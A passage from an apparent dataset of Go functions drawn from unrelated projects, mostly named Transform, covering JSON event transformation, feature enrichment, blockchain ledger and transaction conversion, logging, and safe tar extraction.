\\\"func_transform\\\", \\\"op\\\", \\\"transform\\\", \\\"cause\\\", \\\"wrong_number_of_parameters\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"wrong number of parameters in call to transform function\\\"), \\\"transform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\th := GetCurrentHandlerConfig(ctx)\\n\\tif h == nil {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_transform\\\", \\\"op\\\", \\\"transform\\\", \\\"cause\\\", \\\"no_handler\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"current handler not found in call to transform function\\\"), \\\"transform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\tif h.Transformations == nil {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_transform\\\", \\\"op\\\", \\\"transform\\\", \\\"cause\\\", \\\"no_named_transformations\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"no named transformations found in call to transform function\\\"), \\\"transform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\tt := h.Transformations[extractStringParam(params[0])]\\n\\tif t == nil {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_transform\\\", \\\"op\\\", \\\"transform\\\", \\\"cause\\\", \\\"unknown_transformation\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"no named transformation %s found in call to transform function\\\", extractStringParam(params[0])), \\\"transform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\tvar section interface{}\\n\\tsection = doc.GetOriginalObject()\\n\\tif len(params) >= 2 {\\n\\t\\terr := json.Unmarshal([]byte(extractStringParam(params[1])), &section)\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_transform\\\", \\\"op\\\", \\\"transform\\\", \\\"cause\\\", \\\"invalid_json\\\", \\\"params\\\", params, \\\"error\\\", err.Error())\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"non json parameters in call to transform function\\\"), \\\"transform\\\", params})\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tvar pattern *JDoc\\n\\tif len(params) >= 3 && extractStringParam(params[2]) != \\\"\\\" {\\n\\t\\tvar err error\\n\\t\\tpattern, err = NewJDocFromString(extractStringParam(params[2]))\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_transform\\\", \\\"op\\\", \\\"transform\\\", \\\"cause\\\", \\\"non_json_parameter\\\", \\\"params\\\", params, \\\"error\\\", err.Error())\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"non json parameters in call to transform function\\\"), \\\"transform\\\", params})\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tvar join *JDoc\\n\\tif len(params) == 4 && extractStringParam(params[3]) != \\\"\\\" {\\n\\t\\tvar err error\\n\\t\\tjoin, err = NewJDocFromString(extractStringParam(params[3]))\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_transform\\\", \\\"op\\\", \\\"transform\\\", \\\"cause\\\", \\\"non_json_parameter\\\", \\\"params\\\", params, \\\"error\\\", err.Error())\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"non json parameters in call to transform function\\\"), \\\"transform\\\", params})\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tif pattern != nil {\\n\\t\\tc, _ := doc.contains(section, pattern.GetOriginalObject(), 0)\\n\\t\\tif !c {\\n\\t\\t\\treturn section\\n\\t\\t}\\n\\t}\\n\\tif join != nil {\\n\\t\\tsection = doc.merge(join.GetOriginalObject(), section)\\n\\t}\\n\\tlittleDoc, err := NewJDocFromInterface(section)\\n\\tif err != nil {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_transform\\\", \\\"cause\\\", \\\"json_parse_error\\\", \\\"op\\\", \\\"transform\\\", \\\"error\\\", err.Error(), \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"transformation error in call to transform function\\\"), \\\"transform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\tvar littleRes *JDoc\\n\\tif t.IsTransformationByExample {\\n\\t\\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\\n\\t} else {\\n\\t\\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\\n\\t}\\n\\treturn littleRes.GetOriginalObject()\\n}\",\n \"func (t *Transformer) Transform(ctx context.Context, request []byte) ([]byte, error) {\\n\\tspan, ctx := opentracing.StartSpanFromContext(ctx, \\\"feast.Transform\\\")\\n\\tdefer span.Finish()\\n\\n\\tfeastFeatures := make(map[string]*FeastFeature, len(t.config.TransformerConfig.Feast))\\n\\n\\t// parallelize feast call per feature table\\n\\tresChan := make(chan result, len(t.config.TransformerConfig.Feast))\\n\\tfor _, config := range t.config.TransformerConfig.Feast {\\n\\t\\tgo func(cfg *transformer.FeatureTable) {\\n\\t\\t\\ttableName := createTableName(cfg.Entities)\\n\\t\\t\\tval, err := t.getFeastFeature(ctx, tableName, request, cfg)\\n\\t\\t\\tresChan <- result{tableName, val, err}\\n\\t\\t}(config)\\n\\t}\\n\\n\\t// collect result\\n\\tfor i := 0; i < cap(resChan); i++ {\\n\\t\\tres := <-resChan\\n\\t\\tif res.err != nil {\\n\\t\\t\\treturn nil, res.err\\n\\t\\t}\\n\\t\\tfeastFeatures[res.tableName] = res.feastFeature\\n\\t}\\n\\n\\tout, err := enrichRequest(ctx, request, feastFeatures)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn out, err\\n}\",\n \"func transformInput(inputs []io.Reader, errWriter, outWriter io.Writer, rt resourceTransformer) int {\\n\\tpostInjectBuf := &bytes.Buffer{}\\n\\treportBuf := &bytes.Buffer{}\\n\\n\\tfor _, input := range inputs {\\n\\t\\terrs := processYAML(input, postInjectBuf, reportBuf, rt)\\n\\t\\tif len(errs) > 0 {\\n\\t\\t\\tfmt.Fprintf(errWriter, \\\"Error transforming resources:\\\\n%v\\\", concatErrors(errs, \\\"\\\\n\\\"))\\n\\t\\t\\treturn 1\\n\\t\\t}\\n\\n\\t\\t_, err := io.Copy(outWriter, postInjectBuf)\\n\\n\\t\\t// print error report after yaml output, for better visibility\\n\\t\\tio.Copy(errWriter, reportBuf)\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Fprintf(errWriter, \\\"Error printing YAML: %v\\\\n\\\", err)\\n\\t\\t\\treturn 1\\n\\t\\t}\\n\\t}\\n\\treturn 0\\n}\",\n \"func (s *schema) NewTransform(name string, input io.Reader, ctx *transformctx.Ctx) (Transform, error) {\\n\\tbr, err := ios.StripBOM(s.header.ParserSettings.WrapEncoding(input))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif ctx.InputName != name {\\n\\t\\tctx.InputName = name\\n\\t}\\n\\tingester, err := s.handler.NewIngester(ctx, br)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t// If caller already specified a way to do context aware error formatting, use it;\\n\\t// otherwise (vast majority cases), use the Ingester (which implements CtxAwareErr\\n\\t// interface) created by the schema handler.\\n\\tif ctx.CtxAwareErr == nil {\\n\\t\\tctx.CtxAwareErr = ingester\\n\\t}\\n\\treturn &transform{ingester: ingester}, nil\\n}\",\n \"func (s *BaseSyslParserListener) ExitTransform(ctx *TransformContext) {}\",\n \"func TransformAccount(ledgerChange ingestio.Change) (AccountOutput, error) {\\n\\tledgerEntry, outputDeleted, err := utils.ExtractEntryFromChange(ledgerChange)\\n\\tif err != nil {\\n\\t\\treturn AccountOutput{}, err\\n\\t}\\n\\n\\taccountEntry, accountFound := ledgerEntry.Data.GetAccount()\\n\\tif !accountFound {\\n\\t\\treturn AccountOutput{}, fmt.Errorf(\\\"Could not extract account data from ledger entry; actual type is %s\\\", ledgerEntry.Data.Type)\\n\\t}\\n\\n\\toutputID, err := accountEntry.AccountId.GetAddress()\\n\\tif err != nil {\\n\\t\\treturn AccountOutput{}, err\\n\\t}\\n\\n\\toutputBalance := int64(accountEntry.Balance)\\n\\tif outputBalance < 0 {\\n\\t\\treturn AccountOutput{}, fmt.Errorf(\\\"Balance is negative (%d) for account: %s\\\", outputBalance, outputID)\\n\\t}\\n\\n\\t//The V1 struct is the first version of the extender from accountEntry. It contains information on liabilities, and in the future\\n\\t//more extensions may contain extra information\\n\\taccountExtensionInfo, V1Found := accountEntry.Ext.GetV1()\\n\\tvar outputBuyingLiabilities, outputSellingLiabilities int64\\n\\tif V1Found {\\n\\t\\tliabilities := accountExtensionInfo.Liabilities\\n\\t\\toutputBuyingLiabilities, outputSellingLiabilities = int64(liabilities.Buying), int64(liabilities.Selling)\\n\\t\\tif outputBuyingLiabilities < 0 {\\n\\t\\t\\treturn AccountOutput{}, fmt.Errorf(\\\"The buying liabilities count is negative (%d) for account: %s\\\", outputBuyingLiabilities, outputID)\\n\\t\\t}\\n\\n\\t\\tif outputSellingLiabilities < 0 {\\n\\t\\t\\treturn AccountOutput{}, fmt.Errorf(\\\"The selling liabilities count is negative (%d) for account: %s\\\", outputSellingLiabilities, outputID)\\n\\t\\t}\\n\\t}\\n\\n\\toutputSequenceNumber := int64(accountEntry.SeqNum)\\n\\tif outputSequenceNumber < 0 {\\n\\t\\treturn AccountOutput{}, fmt.Errorf(\\\"Account sequence number is negative (%d) for account: %s\\\", outputSequenceNumber, outputID)\\n\\t}\\n\\n\\toutputNumSubentries := uint32(accountEntry.NumSubEntries)\\n\\n\\tinflationDestAccountID := accountEntry.InflationDest\\n\\tvar outputInflationDest string\\n\\tif inflationDestAccountID != nil {\\n\\t\\toutputInflationDest, err = inflationDestAccountID.GetAddress()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn AccountOutput{}, err\\n\\t\\t}\\n\\t}\\n\\n\\toutputFlags := uint32(accountEntry.Flags)\\n\\n\\toutputHomeDomain := string(accountEntry.HomeDomain)\\n\\n\\toutputMasterWeight := int32(accountEntry.MasterKeyWeight())\\n\\toutputThreshLow := int32(accountEntry.ThresholdLow())\\n\\toutputThreshMed := int32(accountEntry.ThresholdMedium())\\n\\toutputThreshHigh := int32(accountEntry.ThresholdHigh())\\n\\n\\toutputLastModifiedLedger := uint32(ledgerEntry.LastModifiedLedgerSeq)\\n\\n\\ttransformedAccount := AccountOutput{\\n\\t\\tAccountID: outputID,\\n\\t\\tBalance: outputBalance,\\n\\t\\tBuyingLiabilities: outputBuyingLiabilities,\\n\\t\\tSellingLiabilities: outputSellingLiabilities,\\n\\t\\tSequenceNumber: outputSequenceNumber,\\n\\t\\tNumSubentries: outputNumSubentries,\\n\\t\\tInflationDestination: outputInflationDest,\\n\\t\\tFlags: outputFlags,\\n\\t\\tHomeDomain: outputHomeDomain,\\n\\t\\tMasterWeight: outputMasterWeight,\\n\\t\\tThresholdLow: outputThreshLow,\\n\\t\\tThresholdMedium: outputThreshMed,\\n\\t\\tThresholdHigh: outputThreshHigh,\\n\\t\\tLastModifiedLedger: outputLastModifiedLedger,\\n\\t\\tDeleted: outputDeleted,\\n\\t}\\n\\treturn transformedAccount, nil\\n}\",\n \"func (DeclareCandidacyDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.DeclareCandidacyData)\\n\\tcoin := context.Coins().GetCoin(data.Coin)\\n\\n\\treturn DeclareCandidacyDataResource{\\n\\t\\tAddress: data.Address.String(),\\n\\t\\tPubKey: data.PubKey.String(),\\n\\t\\tCommission: strconv.Itoa(int(data.Commission)),\\n\\t\\tStake: data.Stake.String(),\\n\\t\\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\\n\\t}\\n}\",\n \"func (RecreateCoinDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.RecreateCoinData)\\n\\n\\treturn RecreateCoinDataResource{\\n\\t\\tName: data.Name,\\n\\t\\tSymbol: data.Symbol,\\n\\t\\tInitialAmount: data.InitialAmount.String(),\\n\\t\\tInitialReserve: data.InitialReserve.String(),\\n\\t\\tConstantReserveRatio: strconv.Itoa(int(data.ConstantReserveRatio)),\\n\\t\\tMaxSupply: data.MaxSupply.String(),\\n\\t}\\n}\",\n \"func (t *Transform) Transform() *Transform {\\n\\treturn t\\n}\",\n \"func (t *readFramebuffer) Transform(ctx context.Context, id api.CmdID, cmd api.Cmd, out transform.Writer) error {\\n\\ts := out.State()\\n\\tst := GetState(s)\\n\\tif cmd, ok := cmd.(*InsertionCommand); ok {\\n\\t\\tidx_string := keyFromIndex(cmd.idx)\\n\\t\\tif r, ok := t.injections[idx_string]; ok {\\n\\t\\t\\t// If this command is FOR an EOF command, we want to mutate it, so that\\n\\t\\t\\t// we have the presentation info available.\\n\\t\\t\\tif cmd.callee != nil && cmd.callee.CmdFlags(ctx, id, s).IsEndOfFrame() {\\n\\t\\t\\t\\tcmd.callee.Mutate(ctx, id, out.State(), nil, nil)\\n\\t\\t\\t}\\n\\t\\t\\tfor _, injection := range r {\\n\\t\\t\\t\\tif err := injection.fn(ctx, cmd, injection.res, out); err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tif err := out.MutateAndWrite(ctx, id, cmd); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// If we have no deferred submissions left, then we can terminate\\n\\tif len(t.pendingReads) > 0 && len(st.deferredSubmissions) == 0 {\\n\\t\\tif id != api.CmdNoID {\\n\\t\\t\\treturn t.FlushPending(ctx, out)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func fnITransform(ctx Context, doc *JDoc, params []string) interface{} {\\n\\tstats := ctx.Value(EelTotalStats).(*ServiceStats)\\n\\tif params == nil || len(params) == 0 || len(params) > 4 {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"wrong_number_of_parameters\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"wrong number of parameters in call to itransform function\\\"), \\\"itransform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\th := GetCurrentHandlerConfig(ctx)\\n\\tif h == nil {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"no_handler\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"current handler not found in call to itransform function\\\"), \\\"itransform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\tif h.Transformations == nil {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"no_named_transformations\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"no named transformations found in call to itransform function\\\"), \\\"itransform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\tt := h.Transformations[extractStringParam(params[0])]\\n\\tif t == nil {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"unknown_transformation\\\", \\\"params\\\", params)\\n\\t\\tstats.IncErrors()\\n\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"no named transformation %s found in call to itransform function\\\", extractStringParam(params[0])), \\\"itransform\\\", params})\\n\\t\\treturn nil\\n\\t}\\n\\tvar section interface{}\\n\\tsection = doc.GetOriginalObject()\\n\\tif len(params) >= 2 {\\n\\t\\terr := json.Unmarshal([]byte(extractStringParam(params[1])), &section)\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"invalid_json\\\", \\\"params\\\", params, \\\"error\\\", err.Error())\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"non json parameters in call to itransform function\\\"), \\\"itransform\\\", params})\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tvar pattern *JDoc\\n\\tif len(params) >= 3 && extractStringParam(params[2]) != \\\"\\\" {\\n\\t\\tvar err error\\n\\t\\tpattern, err = NewJDocFromString(extractStringParam(params[2]))\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"non_json_parameter\\\", \\\"params\\\", params, \\\"error\\\", err.Error())\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"non json parameters in call to itransform function\\\"), \\\"itransform\\\", params})\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tvar join *JDoc\\n\\tif len(params) == 4 && extractStringParam(params[3]) != \\\"\\\" {\\n\\t\\tvar err error\\n\\t\\tjoin, err = NewJDocFromString(extractStringParam(params[3]))\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"non_json_parameter\\\", \\\"params\\\", params, \\\"error\\\", err.Error())\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\tAddError(ctx, SyntaxError{fmt.Sprintf(\\\"non json parameters in call to itransform function\\\"), \\\"itransform\\\", params})\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\tswitch section.(type) {\\n\\t// apply sub-transformation iteratively to all array elements\\n\\tcase []interface{}:\\n\\t\\tfor i, a := range section.([]interface{}) {\\n\\t\\t\\tif pattern != nil {\\n\\t\\t\\t\\tc, _ := doc.contains(a, pattern.GetOriginalObject(), 0)\\n\\t\\t\\t\\tif !c {\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif join != nil {\\n\\t\\t\\t\\ta = doc.merge(join.GetOriginalObject(), a)\\n\\t\\t\\t}\\n\\t\\t\\t//ctx.Log().Info(\\\"A\\\", a, \\\"MERGED\\\", amerged, \\\"JOIN\\\", join.GetOriginalObject())\\n\\t\\t\\tlittleDoc, err := NewJDocFromInterface(a)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"json_parse_error\\\", \\\"error\\\", err.Error(), \\\"params\\\", params)\\n\\t\\t\\t\\tstats.IncErrors()\\n\\t\\t\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"transformation error in call to itransform function\\\"), \\\"itransform\\\", params})\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\t\\tvar littleRes *JDoc\\n\\t\\t\\tif t.IsTransformationByExample {\\n\\t\\t\\t\\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\\n\\t\\t\\t}\\n\\t\\t\\t//ctx.Log().Info(\\\"item_in\\\", a, \\\"item_out\\\", littleRes.StringPretty(), \\\"path\\\", extractStringParam(params[2]), \\\"idx\\\", i)\\n\\t\\t\\tsection.([]interface{})[i] = littleRes.GetOriginalObject()\\n\\t\\t}\\n\\t\\treturn section\\n\\t/*case map[string]interface{}:\\n\\tfor k, v := range section.(map[string]interface{}) {\\n\\t\\tif pattern != nil {\\n\\t\\t\\tc, _ := doc.contains(v, pattern.GetOriginalObject(), 0)\\n\\t\\t\\tif !c {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif join != nil {\\n\\t\\t\\tv = doc.merge(join.GetOriginalObject(), v)\\n\\t\\t}\\n\\t\\t//ctx.Log().Info(\\\"A\\\", a, \\\"MERGED\\\", amerged, \\\"JOIN\\\", join.GetOriginalObject())\\n\\t\\tlittleDoc, err := NewJDocFromInterface(v)\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"error\\\", err.Error(), \\\"params\\\", params)\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\treturn \\\"\\\"\\n\\t\\t}\\n\\t\\tvar littleRes *JDoc\\n\\t\\tif t.IsTransformationByExample {\\n\\t\\t\\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\\n\\t\\t} else {\\n\\t\\t\\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\\n\\t\\t}\\n\\t\\t//ctx.Log().Info(\\\"item_in\\\", a, \\\"item_out\\\", littleRes.StringPretty(), \\\"path\\\", extractStringParam(params[2]), \\\"idx\\\", i)\\n\\t\\tsection.(map[string]interface{})[k] = littleRes.GetOriginalObject()\\n\\t}\\n\\treturn section*/\\n\\t// apply sub-transformation to single sub-section of document\\n\\tdefault:\\n\\t\\tif pattern != nil {\\n\\t\\t\\tc, _ := doc.contains(section, pattern.GetOriginalObject(), 0)\\n\\t\\t\\tif !c {\\n\\t\\t\\t\\treturn section\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif join != nil {\\n\\t\\t\\tsection = doc.merge(join.GetOriginalObject(), section)\\n\\t\\t}\\n\\t\\tlittleDoc, err := NewJDocFromInterface(section)\\n\\t\\tif err != nil {\\n\\t\\t\\tctx.Log().Error(\\\"error_type\\\", \\\"func_itransform\\\", \\\"op\\\", \\\"itransform\\\", \\\"cause\\\", \\\"json_parse_error\\\", \\\"error\\\", err.Error(), \\\"params\\\", params)\\n\\t\\t\\tstats.IncErrors()\\n\\t\\t\\tAddError(ctx, RuntimeError{fmt.Sprintf(\\\"transformation error in call to itransform function: %s\\\", err.Error()), \\\"itransform\\\", params})\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\tvar littleRes *JDoc\\n\\t\\tif t.IsTransformationByExample {\\n\\t\\t\\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\\n\\t\\t} else {\\n\\t\\t\\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\\n\\t\\t}\\n\\t\\treturn littleRes.GetOriginalObject()\\n\\t}\\n}\",\n \"func makeUnstructuredEntry(\\n\\tctx context.Context,\\n\\ts Severity,\\n\\tc Channel,\\n\\tdepth int,\\n\\tredactable bool,\\n\\tformat string,\\n\\targs ...interface{},\\n) (res logEntry) {\\n\\tres = makeEntry(ctx, s, c, depth+1)\\n\\n\\tres.structured = false\\n\\n\\tif redactable {\\n\\t\\tvar buf redact.StringBuilder\\n\\t\\tif len(args) == 0 {\\n\\t\\t\\t// TODO(knz): Remove this legacy case.\\n\\t\\t\\tbuf.Print(redact.Safe(format))\\n\\t\\t} else if len(format) == 0 {\\n\\t\\t\\tbuf.Print(args...)\\n\\t\\t} else {\\n\\t\\t\\tbuf.Printf(format, args...)\\n\\t\\t}\\n\\t\\tres.payload = makeRedactablePayload(buf.RedactableString())\\n\\t} else {\\n\\t\\tvar buf strings.Builder\\n\\t\\tformatArgs(&buf, format, args...)\\n\\t\\tres.payload = makeUnsafePayload(buf.String())\\n\\t}\\n\\n\\treturn res\\n}\",\n \"func transformAddr(n *ir.AddrExpr) {\\n\\tswitch n.X.Op() {\\n\\tcase ir.OARRAYLIT, ir.OMAPLIT, ir.OSLICELIT, ir.OSTRUCTLIT:\\n\\t\\tn.SetOp(ir.OPTRLIT)\\n\\t}\\n}\",\n \"func Transform(extract map[int][]string) map[string]int {\\n\\tret := make(map[string]int)\\n\\n\\tfor k, v := range extract {\\n\\t\\tfor _, letter := range v {\\n\\t\\t\\tret[strings.ToLower(letter)] = k\\n\\t\\t}\\n\\t}\\n\\n\\treturn ret\\n}\",\n \"func (RedeemCheckDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.RedeemCheckData)\\n\\n\\treturn RedeemCheckDataResource{\\n\\t\\tRawCheck: base64.StdEncoding.EncodeToString(data.RawCheck),\\n\\t\\tProof: base64.StdEncoding.EncodeToString(data.Proof[:]),\\n\\t}\\n}\",\n \"func (entity *Base) Transform() *Transform {\\n\\treturn &entity.transform\\n}\",\n \"func (DelegateDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.DelegateData)\\n\\tcoin := context.Coins().GetCoin(data.Coin)\\n\\n\\treturn DelegateDataResource{\\n\\t\\tPubKey: data.PubKey.String(),\\n\\t\\tValue: data.Value.String(),\\n\\t\\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\\n\\t}\\n}\",\n \"func (t merged) Transform(spec *specs.Spec) error {\\n\\tfor _, transformer := range t {\\n\\t\\tif err := transformer.Transform(spec); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *BaseSyslParserListener) EnterTransform_return_type(ctx *Transform_return_typeContext) {}\",\n \"func (te *TarExtractor) UnpackEntry(root string, hdr *tar.Header, r io.Reader) (Err error) {\\n\\t// Make the paths safe.\\n\\thdr.Name = CleanPath(hdr.Name)\\n\\troot = filepath.Clean(root)\\n\\n\\tlog.WithFields(log.Fields{\\n\\t\\t\\\"root\\\": root,\\n\\t\\t\\\"path\\\": hdr.Name,\\n\\t\\t\\\"type\\\": hdr.Typeflag,\\n\\t}).Debugf(\\\"unpacking entry\\\")\\n\\n\\t// Get directory and filename, but we have to safely get the directory\\n\\t// component of the path. SecureJoinVFS will evaluate the path itself,\\n\\t// which we don't want (we're clever enough to handle the actual path being\\n\\t// a symlink).\\n\\tunsafeDir, file := filepath.Split(hdr.Name)\\n\\tif filepath.Join(\\\"/\\\", hdr.Name) == \\\"/\\\" {\\n\\t\\t// If we got an entry for the root, then unsafeDir is the full path.\\n\\t\\tunsafeDir, file = hdr.Name, \\\".\\\"\\n\\t\\t// If we're being asked to change the root type, bail because they may\\n\\t\\t// change it to a symlink which we could inadvertently follow.\\n\\t\\tif hdr.Typeflag != tar.TypeDir {\\n\\t\\t\\treturn errors.New(\\\"malicious tar entry -- refusing to change type of root directory\\\")\\n\\t\\t}\\n\\t}\\n\\tdir, err := securejoin.SecureJoinVFS(root, unsafeDir, te.fsEval)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"sanitise symlinks in root\\\")\\n\\t}\\n\\tpath := filepath.Join(dir, file)\\n\\n\\t// Before we do anything, get the state of dir. Because we might be adding\\n\\t// or removing files, our parent directory might be modified in the\\n\\t// process. As a result, we want to be able to restore the old state\\n\\t// (because we only apply state that we find in the archive we're iterating\\n\\t// over). We can safely ignore an error here, because a non-existent\\n\\t// directory will be fixed by later archive entries.\\n\\tif dirFi, err := te.fsEval.Lstat(dir); err == nil && path != dir {\\n\\t\\t// FIXME: This is really stupid.\\n\\t\\t// #nosec G104\\n\\t\\tlink, _ := te.fsEval.Readlink(dir)\\n\\t\\tdirHdr, err := tar.FileInfoHeader(dirFi, link)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"convert dirFi to dirHdr\\\")\\n\\t\\t}\\n\\n\\t\\t// More faking to trick restoreMetadata to actually restore the directory.\\n\\t\\tdirHdr.Typeflag = tar.TypeDir\\n\\t\\tdirHdr.Linkname = \\\"\\\"\\n\\n\\t\\t// os.Lstat doesn't get the list of xattrs by default. We need to fill\\n\\t\\t// this explicitly. Note that while Go's \\\"archive/tar\\\" takes strings,\\n\\t\\t// in Go strings can be arbitrary byte sequences so this doesn't\\n\\t\\t// restrict the possible values.\\n\\t\\t// TODO: Move this to a separate function so we can share it with\\n\\t\\t// tar_generate.go.\\n\\t\\txattrs, err := te.fsEval.Llistxattr(dir)\\n\\t\\tif err != nil {\\n\\t\\t\\tif errors.Cause(err) != unix.ENOTSUP {\\n\\t\\t\\t\\treturn errors.Wrap(err, \\\"get dirHdr.Xattrs\\\")\\n\\t\\t\\t}\\n\\t\\t\\tif !te.enotsupWarned {\\n\\t\\t\\t\\tlog.Warnf(\\\"xattr{%s} ignoring ENOTSUP on llistxattr\\\", dir)\\n\\t\\t\\t\\tlog.Warnf(\\\"xattr{%s} destination filesystem does not support xattrs, further warnings will be suppressed\\\", path)\\n\\t\\t\\t\\tte.enotsupWarned = true\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tlog.Debugf(\\\"xattr{%s} ignoring ENOTSUP on clearxattrs\\\", path)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif len(xattrs) > 0 {\\n\\t\\t\\tdirHdr.Xattrs = map[string]string{}\\n\\t\\t\\tfor _, xattr := range xattrs {\\n\\t\\t\\t\\tvalue, err := te.fsEval.Lgetxattr(dir, xattr)\\n\\t\\t\\t\\tif err != nil 